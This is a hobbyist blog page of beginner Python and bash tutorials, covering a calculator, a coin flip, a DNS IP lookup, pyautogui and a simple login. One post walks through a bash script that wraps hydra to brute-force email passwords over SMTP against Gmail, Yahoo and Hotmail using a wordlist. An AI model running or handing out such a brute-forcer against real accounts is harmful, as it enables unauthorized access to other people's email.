Showing posts with label Programing. Show all posts
Showing posts with label Programing. Show all posts

Monday, July 1, 2019

Python Calculator tutorial

Welcome to another tutorial, today we will be making a command line calculator.

To start let’s make the menu, for this I usually list off a few options and then add an input like so

 

print(“[1] Addition”)
print(“[2] Subtraction”)
print(“[3] Multiplication”)
print(“[4] Division”)
option = input(“Enter one of the options [1-4]: “)

Once you have that in your code we should start working on the actual calculator, for this you will learn how to convert strings to floats. To show this have a look at the addition code

if option == ‘1’:
num1 = input(“Enter the first number you wish to add: “)
num2 = input(“Enter the second number you wish to add: “)
add = float(num1) + float(num2)
print(add)

as you can see the strings num1 and num1 are attached to input methods, when you see the string called “add” it has both num1 and num2 in it except it is surrounded by a parenthesis with “float” in front of it. Basically, float makes the string into a decimal so if you input 8.4 it will output 8.4, this is different from int() as int() only outputs whole numbers.

Once you have added the addition code to your program you will want to add the following:

if option == ‘2’:
num1 = input(“Enter the first number you wish to subrtract from: “)
num2 = input(“Enter the second number you wish to subtract: “)
sub = float(num1) – float(num2)
print(sub)

if option == ‘3’:
num1 = input(“Enter the first number you wish to multiply: “)
num2 = input(“Enter the second number you wish to muliply by: “)
mult = float(num1) * float(num2)
print(mult)

if option == ‘4’:
num1 = input(“Enter the first number you wish to divide: “)
num2 = input(“Enter the second number you wish to divide by: “)
div = float(num1) / float(num2)
print(div)

This code is all pretty much the same except for the input message and the math behind it. If you have any questions feel free to leave a comment or ask on the discord.

Tuesday, June 25, 2019

Make a program that flips a coin in Python 3

Welcome back to another tutorial, today we will be making a script that flips a coin and randomly selects heads or tails.

To start, make a new python file and name it CoinFlip, once you’ve done that you will need to import the random module. Add the following to the first line of code:

import random

Once you’ve done that you will want to make a string named “coin” and set it equal to a list that includes, “heads” and “tails”. the string should look something like this:

coin = [‘heads’, ‘tails’]

Once you have completed that step only two more to go. You should now be able to print the string coin”
but before you do that you need to make the program select one of the options in the list, to do this enter
the following code:

print(random.choice(coin))

Once that is put into the code, you will now be able to run it and get heads or tails, feel free to run it as
much as you like to make sure it’s random.

I hope you enjoyed today’s tutorial, stay tuned for some more awesome tutorials.

All Code:
import random
coin = [‘heads’, ‘tails’]
print(random.choice(coin))

Friday, June 21, 2019

bash make a simple email-bruter

welcome to hacking a rise I’m the Laughingman here to teach ya how to make a simple script for brute forcing emails using hydra it mite work it mite not work but the main thing is you are learning bash so lets go on ….

What is bash

Bash is a Unix shell and command language written by Brian Fox for the GNU Project as a free software replacement for the Bourne shell. First released in 1989, it has been distributed widely as the default login shell for most Linux distributions and Apple’s macOS
FIND OUT MORE HERE

the bash santax we will be using

  • figlet this will gave use the banner when the script is loaded
  • echo repeats what ever we type in the ” ”
  • read this is mostly used with $ to tell your system to read the input user provides it been name age in are case email and world list
  • writing the script

    So open your fav text editor and strat with the frist part the script

      #!/bin/bash

    then we add figlet for a banner

      figlet email-knocker

    then are echo commands

      echo “hacking a rise ”
      echo “mead by laughingman ”
      echo “make sure you have your wordlist handy”
      echo “Lets go”
      echo Choose a SMTP service: Gmail = smtp.gmail.com / Yahoo = smtp.mail.yahoo.com / Hotmail = smtp.live.com /:

    now are we add read

      read smtp

    and the rest

      echo Enter Email Address:
      read email
      echo Provide Directory of Wordlist for Passwords:
      read wordlist

    then we add hydra commands with $ to tell the system to use the email and wordlist we typed in

      hydra -S -l $email -P $wordlist -e ns -V -s 465 $smtp smtp

    Hacking A Rise codebash1-300x105

    now we save it as a .sh file

    right to run the file go to were its saves mines in desktop so i go to my desktop and right click open in terminal and type chmod +x emailknocker.sh then ./emailknocker.sh to run it

    Hacking A Rise promissions-300x23

    and it should look something like this
    Hacking A Rise emailknocker-300x150

    Thursday, June 20, 2019

    Make an IP finder using python 3

    Welcome Everyone, in today’s tutorial I will be teaching you how to make an IP finder using socket in Python.

    To start, fire up Pycharm and create a new file for this tutorial I named my file “IP”.
    next, we should import the socket module by adding the following to line 1:

    Import socket

    This allows us to access defines for the socket module.

    I usually start my programs with a statement using the input function.

    My statement for this program would be “Enter the URL for the site you want the IP of”, to set this as input I would type this:

    websiteIP = input("Enter the URL for the site you want the IP of: ")This tells the computer that the string named "websiteIP" is the URL. Now lets find the IP,This is where the socket module comes in, enter the following:
    ip = socket.gethostbyname(websiteIPThis tells the computer to find the IP using the string (Where we input the URL) and then attaches itself to the string ip (To make it easier for us to call). After that, type the following:
    print("The IP for", websiteIP, "is: ", ip)input("Press Enter to Continue...")This will now print out the ip of the website, I usually add a "Press Enter to Continue" as it makesit easier in the long run when you run it through a terminal.In the end all of your code should look soemthing like this:
    import socketwebsiteIP = input("Enter the URL for the site you want the IP of: ")ip = socket.gethostbyname(websiteIP)print("The IP for", websiteIP, "is: ", ip)input("Press Enter to Continue...")Thank you for reading this tutorial, If you have any questions feel free to leave a comment.

    Thursday, April 25, 2019

    Python Tutorial 4 - Installing Modules

    Welcome back to another tutorial, today I will be showing you how to install modules and add more functionality to your script.

     

    To start, make a new file and import the following

    import os

    import sys

    import time

    Once you’ve done that we’re going to install a module called “pyautogui” which allows for simple interfaces as well as mouse and keyboard input.

     

    To install it click the “terminal” button near the bottom of pycharm. once you’ve clicked it, it should look something like this

    Hacking A Rise Screenshot-86

     

    Once you have the terminal open type the following into the console

    pip3 install pyautogui

    it should start downloading, let it run as it may take some time.

     

    after it’s finished installing add the following to the beginning of the file.

    import pyautogui

    Once you’ve imported pyautogui, we’re going to make a simple program that tells you where the cursor is on the screen.

     

    To start I recommend adding the following to the file

    time.sleep(10)

    This will be more useful once we start making more advanced programs using pyautogui, for now, it just allows you to move the mouse before the actual code runs. Now onto the code that outputs the position of the mouse. Add the following to your code.

    print(pyautogui.position())

    Now when you run the code it should output the X and Y coordinates of the cursor on your screen.

     

    In the next tutorial, I will be showing you how to output that to a dialog box.

     

    Previous Tutorial

     

    Tuesday, April 23, 2019

    Python Tutorial 3 - Simple login

    Welcome back to another Python tutorial, In this tutorial, I will show you how to make a simple login using if statements and strings.

     

    To start, make a new python file, name it what you like. Once created remember to type the following:

    import os

    import sys

    import time

    We won’t be using any of these but we may in a future tutorial. Once that’s typed into the file set your password to your liking by typing:

    password = “Example”

    Type the password you want where it says “Example”, Make sure you use quotation marks. Proceed by typing the following:

    if password == input(“Enter Password:”)

    print(“Correct Password”)

    The Input() function allows you to type something from the console and then will check if it equal (==) to the password if it is, it will output saying “Correct Password”.

     

    In the end, your file should look something like this.Hacking A Rise Screenshot-72

     

    In the next tutorial, I will show you how to download new imports.

     

    Previous Tutorial

     

    Friday, April 19, 2019

    Python tutorial 2 - if statements and Strings

    Welcome back, in this tutorial you will learn how to use if statements and variables.

     

    Start off by creating a new file, name it whatever you wish.

    For this program, you don’t need to import anything but I would recommend you

    import os

    import sys

    import time

    as it’ll save time in the long run when we work on more advanced programs.

     

    A string is something the computer stores

    example:Hacking A Rise Screenshot-68

    In this example, the string variable1 is storing “Hello World”. you can use this to output something without writing it multiple times.

     

    An if statement works by checking something and if it exists it will listen to the following code if it doesn’t exist, it will either end the program or look for an “else” statement.

     

    if statement example:Hacking A Rise Screenshot-69

    In this example, the computer will output “Hello World” because the if statement is true.

     

     

     

    In the next python tutorial, I will be teaching how to set up a simple login interface using if statements, and strings.

     

    Previous Tutorial

     

    Thursday, April 18, 2019

    Python tutorial part 1 - Setting up

    In this article, we will be setting up a Python workspace and learning to make a simple program.

    To start you need to download python, I recommend you go here as it is the official python website.

    After you’ve installed Python, go here to download PyCharm which is what I will be using during these tutorials.

    Once PyCharm is installed launch the program and set up a workspace to your liking. Once that is done Create a new project.

    Hacking A Rise Screenshot-52

    Then choose a name for the project, for this tutorial, I named mine HelloWorld.

    Hacking A Rise Screenshot-51

    Once you’ve named the project click “Create” this will the new project.

    Making a python file

    Hacking A Rise Screenshot-53

    In the sidebar navigate down to the scripts folder, right-click any file

    click New and then Python File. It will ask you to input a name for the file, once you have done so click “OK”

    Congratulations you made a Python File, now onto the fun stuff.

    Let’s get started

    First I usually started with my imports, this includes os, sys, and time.

    import os

    Import sys

    import time

    These allow for more functionality in the file.

    The Print() function prints anything in quotes in the parentheses to the terminal, this is what we will be learning.

    Hacking A Rise Screenshot-56

    This is what your file should look like, you have to have quotation marks in the parenthesis or else you will get an error when you run it.

    To run the file click Alt+Shift+F10Hacking A Rise Screenshot-58

    Then click the file with the name you gave.

    It will output to the console saying “Hello World”. Now you may want a delay before it runs the code, this is where the Time import comes in.

    The time.sleep() command allows you to pause the code for a set amount of time, If you put a 3 in the parentheses then the code will pause for 3 seconds.

    time.sleep(3)

    Hacking A Rise Screenshot-60

    Now when you run the file it should now take 3 seconds before it says “Hello World”.

    This concludes the tutorial for python, I will be making a new tutorial every day, the next tutorial will be about if statements and Strings.

    Saturday, March 2, 2019

    BASICS OF BASH SCRIPTING

    Bash aka (shell) is used mostly in the Unix and Linux systems this the commands we use Example ls list files in a directory or are mostly use cd changes the shells current working directory. Bash is great to write scripts with as it easy to learn and faster to script

    so open your fav text editor and type the following line
    #!/bin/sh

    Hacking A Rise favtextediter

    the first line tells Unix that the file is to be executed by /bin/sh this the standard location of the shell on just about every Unix/Linux system this includes mac if you use termux #!/data/data/com.termux/files/usr/bin/bash

    the next line type # my first script

    the # symbol is use with out the ! as this marks the line as a comment and its ignored by the shell

    new line type echo “HACKING A RISE ”

    Hacking A Rise ECHO

    echo is use for read only command you type echo ” HACKING A RISE ” in terminal it will read whats in the brackets

    so now we save the script so press Ctrl and s to save the script name it myscript.sh and save to root

    now that its saved lets see does it work so open terminal and type chmod +x myscript.sh and press enter

    Hacking A Rise chmod

    now type ./myscript.sh

    Hacking A Rise Hackingariseecho

    the output should be this HACKING A RISE

    congrats you just wrote a simple script look lets start adding some more lines

    so now we are going to man a calculator in bash to be ran in terminal

    here the commands/statement we are Using
    1. echo
    echo is one of the mostly used command.
    It is used to print a line of text in standard output.

    $ echo [-neE] [arg …]
    2. read
    The command read in the Linux is used to read the input from the keyboard.

    3. Switch-Case
    When there are a lot of if statement in Shell and it becomes confusing. Then it is good to use case statement.

    4. bc Command
    bc command is used for command line calculator. It is similar to basic calculator by using which we can do basic mathematical calculations. Arithmetic operations are the most basic in any kind of programming.

    # !/bin/bash

    # the Input
    echo “Enter Two numbers : ”
    read a
    read b

    Hacking A Rise INPUT

    # Input type of operation
    echo “Enter Choice :”
    echo “1. Addition”
    echo “2. Subtraction”
    echo “3. Multiplication”
    echo “4. Division”
    read ch

    Hacking A Rise input2

    # calculator operations
    case $ch in
    1)res=`echo $a + $b | bc`
    ;;
    2)res=`echo $a – $b | bc`
    ;;
    3)res=`echo $a \* $b | bc`
    ;;
    4)res=`echo “scale=2; $a / $b” | bc`
    ;;
    esac
    echo “Result : $res”

    Hacking A Rise input3

    Full script

    Hacking A Rise fullscript

    save it to Desktop or were want

    now lets run it

    cd Desktop

    chmod 755 ./myscript.sh

    ./myscript.sh

    Hacking A Rise chmod

    YUP SNOTS IT WORKS !!!!!!

    Hacking A Rise itwoks

    Now u know a little bit of bash now u can start making simple scripts to automate your life in hacking

    Related